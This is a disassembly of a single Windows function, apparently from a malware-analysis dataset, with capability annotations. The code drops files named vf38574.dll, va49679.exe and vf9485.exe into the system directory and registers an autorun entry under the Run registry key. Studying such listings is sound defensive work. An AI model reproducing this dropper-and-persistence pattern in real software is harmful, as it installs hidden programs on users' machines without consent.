Function at 0x401550
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x53643d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x5ab980]
push ebx
mov dword [esp + 4], eax
mov dword [esp + 0x128], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
lea eax, [esp + 0x18]
mov bl, 3
push 0x103
push eax
mov byte [esp + 0x130], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x401608
lea ecx, [esp + 8]
mov byte [esp + 0x128], 2
call fcn.005128e4
lea ecx, [esp + 0xc]
mov byte [esp + 0x128], 1
call fcn.005128e4
lea ecx, [esp + 0x14]
mov byte [esp + 0x128], 0
call fcn.005128e4
lea ecx, [esp + 4]
mov dword [esp + 0x128], 0xffffffff
call fcn.005128e4
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x11c]
mov dword fs:[0], ecx
add esp, 0x128
ret
push esi
lea ecx, [esp + 0x1c]
push edi
push ecx
lea ecx, [esp + 0x14]
call fcn.00512a6d
lea edx, [esp + 0x10]
push edx
call fcn.0041f9c0
add esp, 4
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push str.vf38574.dll
push eax
push ecx
call fcn.00512b79
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x134], 4
call fcn.00512a1d
lea ecx, [esp + 0x18]
mov byte [esp + 0x130], bl
call fcn.005128e4
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edx
call esi
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call edi
cmp eax, 0xffffffff
jne 0x401691
mov ecx, dword [esp + 0xc]
push ecx
push 0x5962c8
push str.PCRDLL
call fcn.00401000
add esp, 0xc
lea edx, [esp + 0x10]
push str.va49679.exe
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.00512b79
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x134], 5
call fcn.00512a1d
lea ecx, [esp + 0x18]
mov byte [esp + 0x130], bl
call fcn.005128e4
mov ecx, dword [esp + 0xc]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
jne 0x4016f1
mov eax, dword [esp + 0xc]
push eax
push 0x5962c8
push str.PCRACTIVATE
call fcn.00401000
add esp, 0xc
lea ecx, [esp + 0x10]
push str.vf9485.exe
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.00512b79
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x134], 6
call fcn.00512a1d
lea ecx, [esp + 0x18]
mov byte [esp + 0x130], bl
call fcn.005128e4
mov eax, dword [esp + 0xc]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call edi
pop edi
cmp eax, 0xffffffff
pop esi
jne 0x401753
mov edx, dword [esp + 4]
push edx
push 0x5962c8
push str.ALOMON
call fcn.00401000
add esp, 0xc
push str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x10]
call fcn.00512a6d
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push 0
push eax
push 0x59620c
push ecx
call fcn.0041efa0
add esp, 0x10
test eax, eax
jle 0x401794
mov edx, dword [esp + 4]
mov eax, dword [esp + 0x14]
push edx
push eax
call fcn.004f9670
add esp, 8
test eax, eax
je 0x4017ad
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
push 1
push ecx
push 0x59620c
push edx
call fcn.0041e450
add esp, 0x10
lea ecx, [esp + 8]
mov byte [esp + 0x128], 2
call fcn.005128e4
lea ecx, [esp + 0xc]
mov byte [esp + 0x128], 1
call fcn.005128e4
lea ecx, [esp + 0x14]
mov byte [esp + 0x128], 0
call fcn.005128e4
lea ecx, [esp + 4]
mov dword [esp + 0x128], 0xffffffff
call fcn.005128e4
mov ecx, dword [esp + 0x120]
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x128
ret